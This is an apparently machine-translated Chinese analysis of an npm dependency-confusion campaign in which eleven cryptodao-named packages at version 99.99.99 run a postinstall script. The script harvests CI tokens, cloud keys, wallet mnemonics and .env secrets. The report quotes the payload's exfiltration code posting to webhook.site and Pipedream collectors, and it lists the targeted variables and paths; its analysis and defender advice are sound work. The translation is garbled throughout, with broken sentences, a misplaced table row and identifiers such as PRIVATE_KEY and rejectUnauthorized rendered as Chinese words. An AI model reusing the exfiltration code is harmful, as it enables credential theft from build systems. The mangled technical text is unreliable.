TL博士
2026年06月17日,一个npm账户发布了 十一个包裹,用途相同,有效载荷也相同。他们十个人携带 cryptodao- 字首 (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types第 11 个是作用域的 @public-for-cdao/core每个版本都已发布。 99.99.99 并发送字节完全相同的 recon.js 在 postinstall.
这些名称本身就说明了一切。它们读起来就像是加密/DAO 项目私有工具链的内部构建模块。它们以人为抬高的版本号发布到公共 npm 注册表中,静静等待构建。 pipeline 它被配置为解析这些名称,并且会在私有注册表之前(或代替私有注册表)访问公共 npm。这是 依赖混淆有效载荷经过精确调整,能够准确降落在预期位置: CI/CD 亚军.
日期 postinstall 火灾, recon.js 收集主机详细信息,大致扫描 四十个云、CI 和加密钱包环境变量读任何 .env 它找到所有能找到的文件,并将包含秘密信息的代码行原封不动地转发,然后将数据包发送给两个收集者—— webhook.site 以及一个 Pipedream 端点——TLS 证书验证已禁用。副本也写在…… /tmp.
严重性: 高受影响的生态系统: NPM截至发稿时,所有 11 个软件包均已上线。
攻击解剖
该装置有四个活动部件,一旦你了解了它们的运作原理,就会发现它们都很简单易懂。 查看包名称下方一层。
1. 版本膨胀作为解析器诱饵。 每个软件包都声明了版本 99.99.99依赖关系混乱是指当包管理器请求一个包时发生的冲突。 内部名称,还会检查公共注册表并选择最高版本。 查找。npm 对插入符号或通配符范围的默认选择是 在所有已配置的源中,选择最令人满意的版本;如果两者都是私有的 对于同名注册表和公共 npm 答案,版本号较大的版本号获胜。 A 99.99.99 它基本上凌驾于项目任何实际的内部版本之上。 已达到,因此未绑定到私有源的解析器更倾向于使用 公开的——在本例中是敌对的——副本。操作员无需知道 目标的真实版本号;选择一个荒谬的最大值总是会造成平局。 突破他们的防线。
2. 安装后触发器。 的package.json 将有效载荷连接到安装程序 生命周期:
{ "scripts": { "postinstall": "node recon.js" } } 无需导入软件包。只需安装它——这可以通过持续集成 (CI) 实现。 pipeline 自动运行 recon.js.
3. 一次大规模的秘密搜查。 recon.js 分阶段组装结果数组:
- 主机上下文:主机名、平台和版本、架构、用户名、工作状态 目录。
- 环境变量:它遍历一个包含大约四十个名称和记录的固定列表 任何已设置的。该列表很有启发性——它将通用的 CI 令牌配对。 (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN)和云 证书 (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) 包含注册表和容器密钥(NPM_TOKEN, DOCKER_PASSWORD, 港口密码)以及一个具有鲜明加密货币风格的集群: 私钥, 助记符, 种子短语, INFURA_API_KEY, 炼金术 API 密钥, ETH_RPC, BSC_RPC记录的值仅保留前 50 个字符。
- .ENV 文件:它会探测路径列表—— .ENV, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, 和 。生产/。发展 变体——对于任何存在的文件,它 将内容筛选为匹配的行 密钥|秘密|令牌|通行证|私钥|助记符 并将这些行完整地、不截断地推送到结果中。
- 构建主机上下文:它列出了前 20 个条目 /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/和 / tmp /.
路径列表和变量列表都偏向于 GitLab 运行器,这表明 有效载荷直接位于自托管的 CI 基础设施,而不是开发人员处。 笔记本电脑。按类别对收获清单进行分组,可以清晰地展示预期收获:
| 类别 | 到达的变量/路径 |
|---|---|
| CI/CD 身份与部署 | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| 云端 | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| 注册表和容器 | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| 资料储存库 | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| 加密货币/区块链 | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
SLACK_TOKEN, DISCORD_TOKEN | |
| 磁盘上 | .env 家庭+ /home/gitlab-runner/.env, /root/.env, /app/**/.env;目录列表 /builds/, /var/lib/gitlab-runner/ |
加密集群是它与通用 CI 密钥的区别所在。 扫描:钱包助记词和签名密钥仅出现在以下环境中: 区块链项目,它们直接映射到 加密DAO/迹象/合同的 为承运商命名。
4. 双重数据泄露,验证功能已禁用。 收集到的数组是 序列化后通过 POST 发送到两个目标位置:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) 拒绝未授权:false 关闭出站 TLS 证书检查 调用时,相同的数据会被打印到标准输出(因此也会出现在 CI 作业日志中)。 写入 /tmp/.npm_recon_ .json错误往往被默默地吞噬,所以 发送失败后,安装输出中除了一条错误信息外,不会留下任何痕迹。 [侦察]安装在 线。
文件中的一条主要注释将其描述为“依赖关系混乱”。 侦察有效载荷。”环境值被截断为 50 个字符已 概念验证的形式。使其超越仅显示存在的信标的是…… .ENV 处理方式:秘密线路全部转发,目的地 是两个由攻击者控制的运行中的收集器,而不是一个只负责计数的接收器。 命中。
时间线
发布模式是单个脚本推送的标志,而不是十一次推送的标志。 独立上传。
| 时间(UTC,2026年06月17日) | 创建 |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 出版 |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — 作用域变体,约 24 分钟后 |
在 29 秒内发出了 10 个包裹,平均每 3 秒发出一个。 范围 @public-for-cdao/core 大约24分钟后,发生了第二次 同一目标的命名约定,以防使用该项目的项目引用了该目标。 内部工具链以作用域而非裸名称的形式存在。
妥协指标
| 类型 | 指示符 |
|---|---|
| 收藏家 | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| 收藏家 | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| 安装钩子 | postinstall: node recon.js |
| 已删除文件 | /tmp/.npm_recon_<timestamp>.json |
| 日志标记 | [recon] <pkg>@<ver> installed on <hostname> (CI 日志中的标准输出) |
| 行为 | rejectUnauthorized: false 安装期间的出站 HTTPS |
| Payload | recon.js所有十一个软件包都相同(一个共享的构建版本) |
| 版本 | 99.99.99 每个包装上 |
cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (所有 99.99.99) | |
| 出版商 | aduljune / aduljune@proton.me (邮箱未经核实,未链接源代码库) |
归因与观察行为
整个集群的所有特征都指向同一方。所有十一个软件包都已发布。 通过 npm 帐户 阿杜尔琼 (aduljune@proton.me一个未经核实的地址,没有 在25分钟内,同时链接源代码库 99.99.99 版, 运输 recon.js 其内容在所有位置都逐字节相同 软件包(所有 11 个提取副本的 MD5 值均匹配)。这是一个有效载荷。 被添加到名称列表中,而不是独立重用代码。
名称列表定义了目标对象。 cryptodao-* 和 CDAO 描述 加密/DAO 项目的私有模块布局,以及有效载荷的收集列表 这与之前的猜测相符:除了通用的 CI 和云密钥之外,它还特别包含以下内容。 到达 私钥, 助记符, 种子短语以及以太坊/BSC RPC 和 提供程序密钥。 .ENV 搜索路径和目录列表由 GitLab-runner 提供 具体而言,可观察到的效应是任何 pipeline 被骗安装了这些 名称会转发其 CI 令牌、云密钥和磁盘上的数据。 .ENV 秘密——以及,为了 一个区块链项目,它的钱包材料——提供给两个第三方收藏家。
我们不声明账户的运营者是谁,也不声明他们计划用该账户做什么。 数据。事实本身就足以说明问题:这些名称针对的是特定类型的数据。 内部工具链,有效载荷读取并传输真实的秘密值,以及 基础设施已投入使用。
影响、趋势和防御者指南
依赖混乱 之所以仍然有效,是因为它利用了解析器的行为,而不是…… 任何包裹都存在漏洞。这里的承运商无关紧要——十一个几乎空的包裹。 包裹——但爆炸半径无关紧要 pipeline 错误地更倾向于使用公共 npm 内部名称。CI 运行程序最不应该出现这种情况:它们持有 正是这些代币和 .ENV 此有效载荷读取的文件,以及它们如何安装 非交互地依赖项,因此 安装后 独自奔跑,无人监视。
这个集群也符合我们不断观察到的一种模式:安装时有效载荷呈现 在进行真正的资质认证收集时,却将其称为“研究”或“侦察”。 文件内容的更改不会改变代码在运行器上的行为。两个设计选择保持不变 活动静默:所有网络和文件系统操作都被封装在一个 异常处理程序会丢弃错误,例如发送被阻塞或文件丢失等情况。 不产生任何诊断输出,唯一打印的内容是一个无害的 [侦察] …已安装 融入正常安装对话中的语句。使用 webhook.site Pipedream 也刻意提供了便利——两者都是免费的。 即时配置请求捕获服务,因此运营商无需服务器。 在出口日志中,它们自己的主机名和目标主机名看起来都像普通的 SaaS 主机名。
即便如此,经济因素仍然值得防守者关注。 运营商代码无关紧要。注册十一个名称无需任何费用,有效载荷只有一个。 文件被复制了 11 次,所有执行操作都由包管理器完成。 配置错误 pipeline 任何使用这些名称之一的行为都将为整个过程买单。 操作。
防御者可采取的具体措施:
- 内部作用域绑定到您的私有注册表。 配置 npm 以便内部名称
作用域仅解析到您的注册表(作用域化的 .npmrc 注册表映射, 或者使用一个永远不会访问公共 npm 的代理(针对已拥有的命名空间)。保留你的公共作用域名称,这样其他人就无法注册它们。
- Commit 锁定文件并使用 --ignore-scripts 进行安装 在CI中 在可行的情况下,或 仔细审查真正需要安装脚本的少量依赖项。 如果 安装后 不被执行。
- 将 99.99.99(或其他离谱的高值)版本的看似内部名称视为内部名称。 作为一种危险信号 用于依赖项审查和注册表监控。
- 安装时出口发出警报。 A 安装后 打开一个出站 HTTPS 连接 连接——尤其是在禁用证书验证的情况下——到 webhook.site、Pipedream 或类似的请求捕获服务值得在网络边缘进行阻止,并在构建日志中标记。
- 寻找文物。 检查跑步者 /tmp/.npm_recon_*.json 和用于 [侦察] … 已安装在 … 最近 CI 日志中的标记上。如果找到,则轮换每个 凭证已暴露给该机构 pipeline — CI 代币、云密钥、注册表代币,以及环境或 .env 文件中存在的任何钱包种子或私钥。
案例
截至撰写本文时,尚无关于此集群的外部报道;分析 以上内容直接基于已发布的软件包内容。




